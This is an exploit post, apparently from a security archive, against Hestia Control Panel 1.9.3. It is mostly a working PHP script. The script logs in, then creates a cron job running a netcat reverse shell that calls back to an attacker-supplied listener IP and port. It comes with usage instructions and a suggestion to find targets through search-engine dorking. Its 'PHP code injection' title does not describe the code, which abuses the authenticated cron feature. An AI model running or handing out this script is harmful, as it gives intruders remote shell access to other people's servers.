📄 Hestia Control Panel 1.9.3 Code Execution

=============================================================================================================================================
    | # Title     : Hestia Control Panel 1.9.3 PHP code injection Vulnerability                                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://hestiacp.com/                                                                                                       |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: This code is a PHP exploit that targets the cronjobs system on a specific server, by executing commands remotely after logging in.
    
       (Related : https://packetstorm.news/files/id/189606/ Related CVE numbers:  ) .
    	
    [+] save code as poc.php.
    
    [+] Usage: php script.php <url> <username> <password> <listener_ip> <listener_port>
    
    [+] PayLoad :
    
    
    <?php
    
    function login($url, $username, $password) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "$url/login/");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $token_response = curl_exec($ch);
        curl_close($ch);
        
        if (!preg_match('/<input type="hidden" name="token" value="(.*?)">/', $token_response, $matches)) {
            echo "Failed to retrieve login token\n";
            return [null, null];
        }
        
        $token = $matches[1];
        $postData = http_build_query([
            'token' => $token,
            'user' => $username
        ]);
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "$url/login/");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $username_response = curl_exec($ch);
        curl_close($ch);
        
        if (!preg_match('/<input type="hidden" name="token" value="(.*?)">/', $username_response, $matches)) {
            echo "Failed to retrieve password token\n";
            return [null, null];
        }
        
        $token = $matches[1];
        $postData = http_build_query([
            'token' => $token,
            'password' => $password
        ]);
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "$url/login/");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
        $password_response = curl_exec($ch);
        curl_close($ch);
        
        if (strpos($password_response, 'login') !== false) {
            echo "Login failed!\n";
            return [null, null];
        }
        
        echo "Login successful!\n";
        return ['cookies.txt', $token];
    }
    
    function create_cron($url, $cookieFile, $listener_ip, $listener_port, $token) {
        $cron_payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $listener_ip $listener_port >/tmp/f";
        
        $postData = http_build_query([
            'token' => $token,
            'ok' => 'Add',
            'v_cmd' => $cron_payload,
            'v_min' => '*',
            'v_hour' => '*',
            'v_day' => '*',
            'v_month' => '*',
            'v_wday' => '*'
        ]);
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "$url/add/cron/");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieFile);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $cron_response = curl_exec($ch);
        curl_close($ch);
        
        if (strpos($cron_response, 'cron') !== false) {
            echo "Cronjob successfully generated!\n";
            return true;
        }
        
        echo "Failed to create cronjob.\n";
        return false;
    }
    
    if ($argc < 6) {
        echo "Usage: php script.php <url> <username> <password> <listener_ip> <listener_port>\n";
        exit(1);
    }
    
    $url = $argv[1] ?? '';
    $username = $argv[2] ?? '';
    $password = $argv[3] ?? '';
    $listener_ip = $argv[4] ?? '';
    $listener_port = $argv[5] ?? '';
    
    list($cookieFile, $token) = login($url, $username, $password);
    if ($cookieFile) {
        if (create_cron($url, $cookieFile, $listener_ip, $listener_port, $token)) {
            echo "Cronjob created, waiting for connection...\n";
        }
    }
    
    
    
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================